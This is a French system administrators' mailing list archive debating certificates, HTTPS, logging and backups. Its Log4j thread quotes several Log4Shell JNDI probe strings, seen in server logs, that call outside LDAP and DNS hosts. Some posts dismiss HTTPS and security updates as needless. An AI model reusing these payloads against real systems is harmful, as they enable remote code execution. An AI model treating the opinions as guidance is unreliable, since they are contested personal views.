Le 15/03/2024 à 11:14, Arnaud Launay via FRsAG a écrit : Le Fri, Mar 15, 2024 at 07:58:05AM +0100, Léo El Amri via FRsAG a écrit: Le protocole ACME ne t'empêche pas de générer ta clef privée en local. Si ça n'était pas le cas, ça serait complètement stupide et dangereux, en effet. Absolument. Tu peux même générer ta clef directement à partir d'openssl sans passer par la couche d'abstraction du logiciel (ici on utilise acme.sh, et j'en suis ravi). Couche qui crée de toute façon la clef en local aussi, avec le random local, et ça ne sort pas du serveur non plus. La génération de la clef et du CSR est faite en locale, et ce qui est fait par le cloud © ® ™ c'est - la vérification du domaine pour le wildcard ou de l'url pour un certificat plus restreint - la signature du certificat par l'autorité - l'envoi du certificat signé vers ton serveur, en chiffré TLS (ce qui n'est même pas strictement nécessaire, puisqu'il s'agit de la partie publique du certificat) Finalement, c'est exactement la même chose qu'avec Comodo ou autre. Merci pour ces précisions ; j'avoue que cela ne me saute pas aux yeux quand je survole les 8009 lignes de shell d'acme.sh :-) Rassure-moi, on n'est pas vendredi, mais c'était un troll ? C'est mignon la coutume du vendredi. C'est sympa pour justifier les échanges sur des sujets plus distrayant que sérieux mais l'utiliser comme argument pour critiquer un point de vue, c'est petit. Je ne pense pas que la remarque soit une, c'est juste que tu nous as habitué à mieux. C'est ça. J'ai rajouté la ligne après avoir écrit le reste, parce que j'avais du mal à croire que je lisais du Barme. Du coup, je me suis dit que pour une fois, il avait peut-être envie de se détendre... Absolument ! J'avais vraiment besoin de me détendre. Il est clair que mes communications un peu précipitées d'avant ce weekend étaient pour le moins maladroites. Et justement je reviens d'un petit séjour à Londres, loin de mes préoccupations informatiques habituelles : British Museum, Natural History Museum, National Gallery, pubs, full english breakfast, cream teas, et tout et tout. Ca va beaucoup mieux :-). Néanmoins, j'ai quelques arguments à (mieux) présenter qui pourront je l'espère éclairer mon point de vue et sans doute susciter des réponses qui complèteront ma compréhension des aspects techniques qui m'échappent. Je reviendrai sur ces sujets dès que j'aurai un peu de temps pour le faire correctement… Apparemment, j'avais tort :( Arnaud. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 22:45, Pierre-Elliott Bécue a écrit : Laurent Barme <2...@barme.fr> wrote on 14/03/2024 at 19:28:45+0100: Tu as raison : c'est potentiellement un cheval de Troie. Ce n'est sans doute pas le cas mais je ne peux pas m'en assurer. Et cela me gène d'autant plus que cela concerne un sujet critique pour la sécurité et, pour autant que je m'en souvienne, un processus exécuté par root. Il existe une pelletée de clients libres/open source qui sont donc revus et fiables. Mais bien sûr, si c'est "open source" alors c'est forcément revu et fiable ! As-tu déjà seulement essayé de "revoir" des développements "open source" ? Attention, je ne dis pas que les développements open source ne sont pas fiables. Et tout cas, ils ne sont surement pas moins fiables que les autres. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 22:54, Pierre-Elliott Bécue a écrit : Si tu penses vraiment, par exemple, qu'il est inutile de sécuriser la connexion web à un blog, ou la connexion web vers des libs JS tierces, Je n'utilise pas de libs JS tierces. Si, si, c'est possible :-) ou…, eh bien je suis inquiet pour tes fondamentaux en sécurité numérique et pour tes clients. Si tu penses qu'un certificat SSL te protège te tout… ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 19:54, Mehdi AMINI a écrit :
On Thu, Mar 14, 2024 at 11:10 AM Laurent Barme <2...@barme.fr
<mailto:2...@barme.fr>> wrote:
Le 14/03/2024 à 16:43, Pierre-Elliott Bécue a écrit :
> Laurent Barme <2...@barme.fr <mailto:2...@barme.fr>> wrote on 14/03/2024
at 15:19:04+0100:
>> Cela dit, je suis d'accord sur le fait que la vente de certifs est un
>> ignoble racket, d'autant plus que ggl a réussi à imposer https tout
>> azimut, y compris pour des blogs diffusant des informations totalement
>> publiques, ce qui est une infamie rien qu'au niveau écologique !
> Je suis ravi qu'on sécurise les connexions et la confidentialité des
> accès contre un overhead de quelques % (qui baisse avec le temps),
> quitte à ce que pour satisfaire les exigences écologiques des autres on
> essaie plutôt d'arrêter de coller des libs JS de plusieurs Mo sur les
> pages web et d'autres qui balourdent tout autant de volumes en
> publicités.
>
> Le gain écologique serait une dizaine de fois supérieur et notre confort
> en serait renforcé.
>
> Mais bon, YMMV
Tout à fait d'accord sur la gabegie des librairies JS et des pubs. A noter
qu'il
est complètement inutile de "sécuriser" toutes les connexions ni de
protéger la
confidentialité des accès aux messages publicitaires.
Est-ce que ce n'est pas une protection contre une attaque MITM qui pourrait
injecter n'importe quel JS dans un site en remplaçant une pub?
Ne faudrait-il pas aussi pour cela qu'il y ai aussi une corruption du DNS ?
Quoiqu'il en soit pour les sites qui ne dépendent pas de librairies JS externe
et qui ne détiennent pas d'information sensible ni confidentielles, la
sécurisation SSL est juste inutile.
En termes de confidentialité, les pubs qui me sont montrées dépendent de mes
centres d'intérêt, intercepter toutes les pubs pourrait permettre de faire un
profil de l'utilisateur potentiellement.
Ne t'inquiète pas pour ça. Ton profil utilisateur est déjà certainement bien
capté par ailleurs :-)
___
Liste de diffusion du %(real_name)s
http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 19:47, William FERRES a écrit :
Alors, aux dernières nouvelles, Let's Encrypt fournit des API. Nous avons
ensuite la liberté d'utiliser le client de notre choix pour communiquer avec.
C'est pareil, le temps que je passerais à développer un traitement utilisant ces
API n'est pas justifiable par rapport à une dépense annuel d'une dizaine d'euros.
Il est tout à fait possible d'auditer le code desdits clients vu qu'une grande
majorité sont Open Source et disponibles sur GitHub ou autre plateforme.
Oui, c'est théoriquement /possible/ d'auditer un code "open source" mais en
pratique non. Du moins cela me prendrait plus de temps que de le réécrire moi-même.
Et d'ailleurs, rien ne nous oblige, lors de l'utilisation de Let's Encrypt, de
faire la génération des certificats ailleurs que sur les machines de
production qui les utiliseront. Déporter cette tâche ailleurs est même souvent
une plutôt bonne idée. Personnellement, je ne suis pas fan de laisser un accès
Internet sortant peu filtré sur des serveurs de production...
Le jeudi 14 mars 2024 à 19:28, Laurent Barme <2...@barme.fr> a écrit :
Le 14/03/2024 à 16:37, Pierre-Elliott Bécue a écrit :
Laurent Barme<2...@barme.fr> wrote on 14/03/2024 at 13:39:31+0100:
Le 14/03/2024 à 13:13, Arnaud Launay via FRsAG a écrit :
…
À part sur des équipements sur lesquels tu ne peux pas automatiser la
mise à jour des certificats, et sur lesquels la durée de vie de 90
jours est franchement courte et t'oblige à le faire à la main 5 fois
par an, je ne vois plus aucun avantage de nos jours à prendre des
certificats payants.
…
La mise à jour automatique des certificats LE est un cheval de Troie.
Pas vraiment. Ou alors il va falloir définir ce que tu entends par
cheval de Troie.
Tu as raison : c'est /potentiellement/ un cheval de Troie.
Ce n'est sans doute pas le cas mais je ne peux pas m'en assurer. Et cela
me gène d'autant plus que cela concerne un sujet critique pour la sécurité
et, pour autant que je m'en souvienne, un processus exécuté par root.
On trouve facilement des certificats pour 10 euros et quelques
centimes et avec ça on est tranquille pour un an ; pour moi cela vaut
le coût.
___ Liste de diffusion du
%(real_name)s http://www.frsag.org/
___
Liste de diffusion du %(real_name)s
http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 16:37, Pierre-Elliott Bécue a écrit : Laurent Barme <2...@barme.fr> wrote on 14/03/2024 at 13:39:31+0100: Le 14/03/2024 à 13:13, Arnaud Launay via FRsAG a écrit : … À part sur des équipements sur lesquels tu ne peux pas automatiser la mise à jour des certificats, et sur lesquels la durée de vie de 90 jours est franchement courte et t'oblige à le faire à la main 5 fois par an, je ne vois plus aucun avantage de nos jours à prendre des certificats payants. … La mise à jour automatique des certificats LE est un cheval de Troie. Pas vraiment. Ou alors il va falloir définir ce que tu entends par cheval de Troie. Tu as raison : c'est /potentiellement/ un cheval de Troie. Ce n'est sans doute pas le cas mais je ne peux pas m'en assurer. Et cela me gène d'autant plus que cela concerne un sujet critique pour la sécurité et, pour autant que je m'en souvienne, un processus exécuté par root. On trouve facilement des certificats pour 10 euros et quelques centimes et avec ça on est tranquille pour un an ; pour moi cela vaut le coût. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 15:36, Arnaud Launay via FRsAG a écrit : Le Thu, Mar 14, 2024 at 01:39:31PM +0100, Laurent Barme a écrit: La mise à jour automatique des certificats LE est un cheval de Troie. Je n'ai rien compris. Il faudrait que tu développes. C'est assez simple pourtant. La mise à jour des certificats est faite par un traitement que tu importes et ne maitrises pas, dont la génération de la clé privée ; question sécurité, c'est moyen. On trouve facilement des certificats pour 10 euros et quelques centimes et avec ça on est tranquille pour un an ; pour moi cela vaut le coût. Oui, avec les renouvellements qui sont oubliés, les sites qui sont en carafe et où c'est la panique pour trouver le type avec la CB qui va bien, et les X serveurs où la mise à jour a été oubliée, effectivement, le faire à la main, c'est mieux. Quel drôle de façon de concevoir l'administration d'un serveur ! Rassure-moi, on n'est pas vendredi, mais c'était un troll ? C'est mignon la coutume du vendredi. C'est sympa pour justifier les échanges sur des sujets plus distrayant que sérieux mais l'utiliser comme argument pour critiquer un point de vue, c'est petit. Ah et puis demain, je ne serai pas disponible. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 16:43, Pierre-Elliott Bécue a écrit : Laurent Barme <2...@barme.fr> wrote on 14/03/2024 at 15:19:04+0100: Cela dit, je suis d'accord sur le fait que la vente de certifs est un ignoble racket, d'autant plus que ggl a réussi à imposer https tout azimut, y compris pour des blogs diffusant des informations totalement publiques, ce qui est une infamie rien qu'au niveau écologique ! Je suis ravi qu'on sécurise les connexions et la confidentialité des accès contre un overhead de quelques % (qui baisse avec le temps), quitte à ce que pour satisfaire les exigences écologiques des autres on essaie plutôt d'arrêter de coller des libs JS de plusieurs Mo sur les pages web et d'autres qui balourdent tout autant de volumes en publicités. Le gain écologique serait une dizaine de fois supérieur et notre confort en serait renforcé. Mais bon, YMMV Tout à fait d'accord sur la gabegie des librairies JS et des pubs. A noter qu'il est complètement inutile de "sécuriser" toutes les connexions ni de protéger la confidentialité des accès aux messages publicitaires. De plus le surcoût des échanges sécurisés par un certificat SSL s'applique aussi au dessus de ces librairies JS et publicités :-( ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 14:20, Stéphane Rivière a écrit : Bonjour Laurent, La mise à jour automatique des certificats LE est un cheval de Troie. acme.sh avec les bonnes options n'est pas un cheval de troie + acmemgr.sh pour gérer en masse des centaines de domaines = santé bonheur. On trouve facilement des certificats pour 10 euros et quelques centimes et avec ça on est tranquille pour un an ; pour moi cela vaut le coût. La vente de certifs n'est-il pas un ignoble racket ? L'infrastructure LE est (imho) une merveille. Fonctionnalités, résilience, bac à sable... J'aimerai bien avoir la même chose pour les certifs de mails (pour le chiffrement) mais ça n'a pas l'air d'actualité... Bonjour Stéphane, Mon niveau de confiance à propos de acmemgr.sh est proportionnel à celui que j'ai vis à vis de soweb.io lui même indexé sur celui que j'ai envers son gérant (que je connais personnellement) : maximal ! Cependant, je suis complètement paranoïaque pour la sécurité des serveurs que je gère et, compte tenu de mon tarif horaire, même dans sa version la plus avantageuse pour mes clients, il faudrait que je parvienne à contrôler acmemgr.sh et acme.sh (qui n'est pas produit par soweb.io il me semble) en moins de 0h06:50 par rapport au coût d'un certificat payant ; ce qui est largement au dessus de mes capacités :-) Cela dit, je suis d'accord sur le fait que la vente de certifs est un ignoble racket, d'autant plus que ggl a réussi à imposer https tout azimut, y compris pour des blogs diffusant des informations totalement publiques, ce qui est une infamie rien qu'au niveau écologique ! Laurent Barme ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 14/03/2024 à 13:13, Arnaud Launay via FRsAG a écrit : … À part sur des équipements sur lesquels tu ne peux pas automatiser la mise à jour des certificats, et sur lesquels la durée de vie de 90 jours est franchement courte et t'oblige à le faire à la main 5 fois par an, je ne vois plus aucun avantage de nos jours à prendre des certificats payants. … La mise à jour automatique des certificats LE est un cheval de Troie. On trouve facilement des certificats pour 10 euros et quelques centimes et avec ça on est tranquille pour un an ; pour moi cela vaut le coût. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
Le 13/03/2024 à 23:57, Pierre-Elliott Bécue a écrit : Kevin wrote on 13/03/2024 at 19:51:44+0100: A l'instar des autres, je quitte peu à peu grandi… Je migre tous mes clients NDD vers Infomaniak. Peut-on dire qu'on ressort Gandis de cette histoire ? (oui je sors) Excellente ! ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [JOBS] - Recherche admin couteau suisse la défense / boulogne billancourt
Le 09/02/2024 à 17:20, Arnaud Launay a écrit : Remarque, c'est bien ce que tous les politiques font, hein. Un jour à la Justice, le lendemain à l'Éducation Nationale, c'est tellement identique. C'est différent pour les politiques ; ils ont une incompétence compatible avec tous les postes :-) ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Industrialisation d'un parc informatique sous Linux
Le 06/02/2024 à 17:26, Florian Haller-Casagrande via FRsAG a écrit : Bonjour Denis, Je me permets d'intercepter le thread : il existe vraiment une GUI d'administration sur Linux ? On l'installe comment ? :o Mais bien sûr que cela existe et l'installation est super simple (par exemple sur Debian) : # apt install vim A défaut d'être sexy (quoique ce soit une question de goût, personnellement je suis fan) on peut résoudre absolument tous les problèmes avec cette interface et depuis plus de 30 ans que je l'utilise je n'y ai jamais vu le moindre bug ni la moindre régression dans les mises à jour ! Merci d'avance, et bonne fin de journée, Florian HC ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Journal.....
Le 05/12/2023 à 15:57, Arnaud Launay a écrit : Le Tue, Dec 05, 2023 at 03:27:46PM +0100, David Ponzone a écrit: Dites, c’est moi, ou le remplacement de syslogd par journald est une des plus grandes pitreries de l’histoire de Linux ? Boarf... # apt install rsyslog # cat /etc/systemd/journald.conf [Journal] Storage=none ForwardToSyslog=yes J'en suis arrivé exactement à la même conclusion… ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Journal.....
Le 05/12/2023 à 15:27, David Ponzone a écrit : Dites, c’est moi, ou le remplacement de syslogd par journald est une des plus grandes pitreries de l’histoire de Linux ? Tu découvre la Debian 12 ? :-)) ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: PHP Sury Debian9
Le 12/07/2022 à 07:36, Maxime DERCHE a écrit : Bonjour Jérôme, J'espère que tu vas bien. :) Ma question ne porte pas sur l'existence de logiciels obsolètes donc sur la gestion du risque qu'ils induisent, mais sur le risque induit par la publicité qui en est faite, à plus ou moins bon escient. Le "risque induit par la publicité qui en est faite" est certainement encore plus dérisoire que celui des logiciels "obsolètes". Comme si une debian 9 devenait dangereuse à partir du 01/07/22, fin de sa LTS ! La frénésie des mises à jour comme solution universelle de sécurité tiens davantage d'une posture dogmatique que d'une réalité opérationnelle. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [TECH] Solution de sauvegarde Windows (locale + Cloud)
Bonjour, Pour les sauvegardes externes, j'utilise l'Object Storage (en doublon chez deux fournisseurs) ; en plus d'une souplesse totale pour le volume de stockage et une charge d'administration mininale, c'est nettement plus économique avec un seul fournisseur ou même un peu moins cher en doublon (Scaleway + OVH = 444 € HT/an pour 1 To). Laurent Barme Le 12/05/2022 à 10:25, Vincent Duvernet a écrit : Bonjour la team. Suite au crash d'un serveur à cause d'Acronis Cyber Protect 15 (qui a aussi corrompu une partie de ses sauvegardes sur HDD externe USB...), notre client (et nous aussi) avons envie de changer de crémerie. Sauf que le stockage Cloud d'Acronis est méga compétitif on dirait sur le marché. 1 To de stockage Cloud à Strasbourg pour moins de 500€ HT / an, il semblerait que ce soit un prix relativement bas face à la concurrence. Si on veut être chauvin et trouver une solution française on est entre 1 et 2k€ avec que de la sauvegarde en ligne, rien de local. Veeam à première vue semble 50% plus cher. Quelqu'un a un éditeur à proposer ? (et qui stocke ses données à minima en Europe de l'Ouest). Merci, Vincent ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Documentation (was KISS)
Le 07/02/2022 à 07:15, David Durieux a écrit : … il n'y a pas de documentation, t'es juste obligé de faire du rétro ingeniering sur des fichiers docker pour pouvoir installer une bête appli web. La documentation est effectivement la grande oubliée actuellement. Il n'y a même plus de livre de référence à jour sur quoique ce soit et on en est réduit à errer sur Internet en cherchant l'information valable dans le foin des logorrhées inutiles. Et ni la liste des fichiers sources ni les commentaires pertinents qu'ils contiennent parfois ne remplacent une vrai documentation qui doit décrire, en langage courant (français, anglais, …), le service attendu du point de vu de l'utilisateur (et il y a plus de 1001 façons de concrétiser une telle description en traitements, souvent plus de 1000 mauvaises et une seule bonne). Pourtant, rédiger une vrai documentation est une excellente opportunité de débusquer les bugs résiduels. Pour revenir au domaine de cette liste, il y a une documentation que je rêverais de trouver : la signification des messages abscons que l'on découvre dans les logs. Où pourrait-on la trouver ? ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: KISS (was Portail d'administration Office 365 partiellement down ?)
Le 06/02/2022 à 22:09, Xavier Beaudouin via FRsAG a écrit : … Si je conçois que certaines features sont pratiques, l'utilisation de ces machins juste pour "gagner" du temps, vont faire que à terme ça va se payer. Faire du soft leger, ça gagne toujours... P'têt que je suis un dino mais quand je vois la puissance de ouf des ordinateurs personnels actuels ET ce que j'avais a mes début... De la lenteur, identique des soft proprio qui n'apportent des fois rien de plus que les versions qui tournaient sur 286... De la puissance d'un raspberry pi 4 ... au prix (variable certes) qui est vendu actuellement vs le prix d'un ordi de bureau a base de 286 ou 386 bah... un moment il faut se poser de vrai questions : - est-ce que le code est trop complexe ? - est-ce qu'on en demande trop ? - est-ce que les 25 millions de packets utilisés par npm sont *vraiment* utiles pour afficher un hello world (oui là j'abuse mais peut-être pas tant que ça) - est-ce que "use docker file" qui fait un git clone de la branche master sur github est une *vrai* bonne idée? Quid de l'install dans une jail / lxc / chroot ne serait pas non plus un truc a maitriser pour juste savoir comment cette centrale nucléaire tourne? Voici quelques réflexions que je me pose... peut-être à contre courant... Mais qui méritent d'être posées car je vois que dans le système, mais également dans le réseau avec le SDN, nous allons dans une dépendance de grosses boites noire et d'une complexification intense des systèmes, qui les rendent plus instables... Voilà un point de vue qui fait plaisir à lire ! J'en suis arrivé à me dire que l'on assiste à une évolution vers une informatique cannibale : une bonne partie des ressources des ordinateurs est consommée par des ordinateurs juste pour les faire fonctionner. Quand je contemple, de loin et sans vraiment en saisir tous les détails, les "architectures" telles que celles basées par exemple sur Symfony et utilisant du Node.js empaqueté par npm installés dans des dockers orchestrés par kubernetes avec une "documentation" éparpillée dans Git, cela me donne le vertige… Il ne faudrait pas oublier que l'informatique ne devrait être qu'un outil au service de l'humain et pas le contraire. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
Re: [FRsAG] Faille Log4j2
Bonjour,
Même approche (estimer la portée réelle de la menace avant de s'affoler) et même
constat : cette "faille" rejoint la liste des appels à la panique inutiles, du
moins pour ce qui me concerne.
Je relève une centaine "d'attaques" (avant blocage automatique), toutes depuis
le 10/12/21 sur les Url :
${jndi:ldap://152.89.239.12:1389/bt2f6m}
/$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D
/$%7Bjndi:ldap://167.71.13.196:/lx-33fe1d7bbb0100fee1b6611ef879%7D
/${jndi:dns:/45.83.64.1/securityscan-http80}
/${jndi:dns:/45.83.64.1/securityscan-https443}
/${jndi:ldap:/45.130.229.168:1389/Exploit}
/${jndi:ldap:/45.83.193.150:1389/Exploit}
/${jndi:ldaps:/a5384.probe001.log4j.leakix.net:8443/b}
qui retournent un 400, 403 ou 404 sur les quelques serveurs que je gère.
A noter que plus de 60% de ces attaques proviennent de 45.83.64.0/32 (Internet
Security Research Project), ce qui conforte la suggestion de Maxime à propos des
conflits d'intérêt de la part des acteurs œuvrant officiellement pour la lutte
contre les pirates.
Cordialement,
Laurent Barme
Le 14/12/2021 à 09:02, Julien Escario a écrit :
Bonjour,
Tentons de reprendre le cours normal de ce thread : j'ai passé la journée
d'hier à tenter d'exploiter la faille sur des trucs 'legacy' justement un peu
partout et j'ai été très surpris de la faible surface d'attaque que nous avons
par rapport aux cris d’orfraies que j'ai pu lire et ici là.
Alors, on a très peu de trucs en Java, langage que je fuis depuis quelques
années déjà par respect pour la RAM de mes machines mais en gros, à part
Graylog, rien vu à mettre à jour en urgence.
Zimbra, pas touché
Puppet, pas touché
Big Blue Button, pas touché
Unifi est touché à priori mais je n'ai pas réussi à l'exploiter avant de
passer -Dlog4j2.formatMsgNoLookups=true
Si quelqu'un veut un test d'exploitation sur un service vulnérable, j'ai un
bout de script qui se contente de faire un 'touch /tmp/pwned'
Bonne journée,
Julien
Le 13/12/2021 à 15:18, Seb Astien a écrit :
Qui n'a plus de legacy de nos jours ?
Le lun. 13 déc. 2021 à 14:54, Vincent Habchi <mailto:vinc...@geomag.fr>> a écrit :
> On 13 Dec 2021, at 13:18, David Ponzone mailto:david.ponz...@gmail.com>> wrote:
>
> Pour ceux qui l’auraient raté:
Qui utilise encore Apache de nos jours ?
V.
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
Re: [FRsAG] Sauvegarde office 365
Le 22/10/2021 à 09:27, Stéphane Rivière a écrit : … Notre position réelle sur Microsoft ici, beaucoup plus nuancée. https://www.soweb.io/une-societe-sans-microsoft-part1 … Excellents articles, merci pour le partage de ces réflexions. Bonne lecture (si tu as le temps) et critiques très bienvenues :) Pas le temps de formuler quelques objections ici ou là ni le temps de les lire en fait mais je ne regrette pas de les avoir lus ;-) ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Sondage : délai de basculement IPFO
Le 29/07/2021 à 13:46, Stéphane Rivière a écrit : Bonjour à toutes et tous, TG d'ice tea, de café glacé et de glaces... Chez OVH, faire bagoter une IPFO entre deux servs, constate que la moyenne de 3 à 5 mn irait plus vers 5 à 10 mn ces derniers temps. Je souhaitais avoir une idée des délais que vous rencontrez... OVH : Scaleway : autres hébergeurs : Merci de vos réponses :) Bonjour Stéphane, Sans avoir pris la peine de mesurer précisément le délais de basculement d'une IPFO, mon constat est de l'ordre de : OVH : une à quelques minutes (cela paraît toujours long lorsqu'on surveille), Scaleway dedibox (serveurs dédiés) : moins d'une minute. Scaleway elements (instances) : quasi immédiat. A noter que je n'ai pas eu l'occasion d'avoir à basculer une IPFO dans un contexte d'urgence mais, à lire les récriminations de ceux qui ont eu à le faire, c'est tant mieux. Par contre, j'ai bien apprécié la souplesse de ces IP mobiles dans un contexte de maintenance ou de remplacement de serveur ; c'est vraiment pratique et bien plus fiable que la modification de la zone DNS dont les délais de propagation ne peuvent être totalement maîtrisés (même avec un TTL court car il ne semble pas systématiquement respecté partout). En fait la modification de la zone DNS, c'est immédiat seulement en cas de création d'un champs. Laurent Barme ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Un shell dépendant de la clé ssh utilisée
Le 26/03/2021 à 09:44, Daniel Caillibaud a écrit : … Ben là j'ai trouvé une solution … Je crois bien avoir repéré une design pattern : 1 - Daniel nous soumet un problème super pointu auquel il est le seul à avoir pensé. 2 - On y réfléchi et on propose des solutions (aucune ne convient). 3 - Daniel ramasse les copies et nous donne la correction. Qu'est ce qu'il est fort Daniel ! :-) ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Analyse semi-automatique des log sur CentOS
Merci pour ton retour. A lundi pour le résultat du test. Le 24/10/2020 à 11:22, Ludovic Scotti a écrit : Je ne suis pas trop fan de logwatch non plus. Je teste lundi Le sam. 24 oct. 2020 à 09:37, Laurent Barme <2...@barme.fr <mailto:2...@barme.fr>> a écrit : Bonjour, Pas vraiment convaincu par le logwatch de CentOS, j'ai écrit un petit outil pour l'analyse semi automatique des logs : scrut Principe scrut est un exécutable binaire qui parcours automatiquement les logs en filtrant les messages sans importance ; révélant ainsi les messages inhabituels, nouveau ou problématiques. scrut est à lancer régulièrement par un cron ; les informations méritant une attention sont alors automatiquement transmises par mail. 1 Prérequis Utiliser le mode de format de log standard ; - dans /etc/rsyslog.conf remplacer RSYSLOG_TraditionalFileFormat par RSYSLOG_FileFormat - systemctl restart syslog Redémarrer cron (pour qu'il envoie des mails ! ; voir https://centosfaq.org/centos/centos-81-cron-does-not-send-mail/) systemctl restart crond 2 Configuration La configuration se fait dans /etc/scrut/ (le sous-répertoire etc est un exemple de configuration). Ce répertoire doit contenir un sous répertoire pour chaque log à analyser dont le nom doit correspondre au fichier journal situé en /var/log/ ; par exemple /etc/scrut/messages/. Chacun des sous répertoires de /etc/scrut/ doit contenir : • un fichier last • un sous répertoire filters/ Le fichier last sert à mémoriser la date et l'heure de la dernière ligne de log filtrée. Le sous répertoire filters/ contient les fichiers d'expressions régulières qui servent à filtrer les messages pouvant être ignorés. Les expressions régulières des fichiers de filtre doivent concerner les informations qui figurent après la date, l'heure et le nom du host. Par exemple pour /etc/scrut/secure/filtres/su : ^su\[[[:digit:]]+\]: pam_systemd\(su-l:session\): Cannot create session: Already running in a session or user slice$ 3 Utilisation en mode test Pour la mise au point de filtres, il est possible de lancer manuellement scrut sans mettre à jour le fichier last en précisant une date et heure de seuil à appliquer : ./scrut 2020-10-23T17:26:12.8453 Pour ceux que cela intéresserait, scrut est partagé en https://numerunique.fr/scrut.tar Laurent Barme ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
[FRsAG] Analyse semi-automatique des log sur CentOS
Bonjour, Pas vraiment convaincu par le logwatch de CentOS, j'ai écrit un petit outil pour l'analyse semi automatique des logs : scrut Principe scrut est un exécutable binaire qui parcours automatiquement les logs en filtrant les messages sans importance ; révélant ainsi les messages inhabituels, nouveau ou problématiques. scrut est à lancer régulièrement par un cron ; les informations méritant une attention sont alors automatiquement transmises par mail. 1 Prérequis Utiliser le mode de format de log standard ; - dans /etc/rsyslog.conf remplacer RSYSLOG_TraditionalFileFormat par RSYSLOG_FileFormat - systemctl restart syslog Redémarrer cron (pour qu'il envoie des mails ! ; voir https://centosfaq.org/centos/centos-81-cron-does-not-send-mail/) systemctl restart crond 2 Configuration La configuration se fait dans /etc/scrut/ (le sous-répertoire etc est un exemple de configuration). Ce répertoire doit contenir un sous répertoire pour chaque log à analyser dont le nom doit correspondre au fichier journal situé en /var/log/ ; par exemple /etc/scrut/messages/. Chacun des sous répertoires de /etc/scrut/ doit contenir : • un fichier last • un sous répertoire filters/ Le fichier last sert à mémoriser la date et l'heure de la dernière ligne de log filtrée. Le sous répertoire filters/ contient les fichiers d'expressions régulières qui servent à filtrer les messages pouvant être ignorés. Les expressions régulières des fichiers de filtre doivent concerner les informations qui figurent après la date, l'heure et le nom du host. Par exemple pour /etc/scrut/secure/filtres/su : ^su\[[[:digit:]]+\]: pam_systemd\(su-l:session\): Cannot create session: Already running in a session or user slice$ 3 Utilisation en mode test Pour la mise au point de filtres, il est possible de lancer manuellement scrut sans mettre à jour le fichier last en précisant une date et heure de seuil à appliquer : ./scrut 2020-10-23T17:26:12.8453 Pour ceux que cela intéresserait, scrut est partagé en https://numerunique.fr/scrut.tar Laurent Barme ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
Bonjour, J'ai fini par trouver l'origine de mon problème de connexion avec ma clé ssh : Il manquait un s en tout début de la clé dans .ssh/authorized_keys ; une sélection incomplète de copier/coller quoi :-\ On peut donc évidemment mettre ce qu'on veut comme commentaire... Désolé pour le bruit et merci à tous pour votre aide. Laurent Barme. Le 24/07/2020 à 20:36, Grégory Durand via FRsAG a écrit : Hello, Je ne pense pas non plus que le problème vient du commentaire qui est juste... un commentaire. As-tu checké les droits sur la clé et le dossier .ssh/ côté client ? Il faut aussi que les droits soient restrictifs sur la clé privée et le dossier qui la contient, sinon le client SSH refusera de l'utiliser. Dans ce cas, il devrait te l'indiquer si tu te connectes avec : ssh -vvv Si ton problème est du côté du serveur sur lequel tu essayes de te connecter, c'est dans l'auth.log que tu verras l'erreur. ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
